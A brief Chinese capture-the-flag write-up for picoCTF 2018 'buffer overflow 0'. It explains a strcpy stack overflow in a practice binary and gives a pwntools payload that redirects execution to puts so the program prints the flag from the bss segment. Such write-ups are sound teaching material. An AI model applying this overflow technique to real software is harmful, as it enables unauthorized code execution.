[BUUCTF-pwn]——picoctf_2018_buffer overflow 0
好久不写BUU了,手都快生了赶快过来写写。
通过观察源文件发现,首先有put函数不需要去libc中找,同时argv肯定大于1,也就是需要至少两个参数,才可以到else语句,同时vuln函数的参数是第二个参数。
进入vuln函数内部看看,找到strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出,以此调用puts函数打印flag.因为flag在bss段上。
from pwn import *
elf = ELF("./PicoCTF_2018_buffer_overflow_0")
payload = 'a' * (0x18 + 4) + p32(elf.plt['puts']) + 'junk' + p32(0x0804A080)
print("payload : " + payload)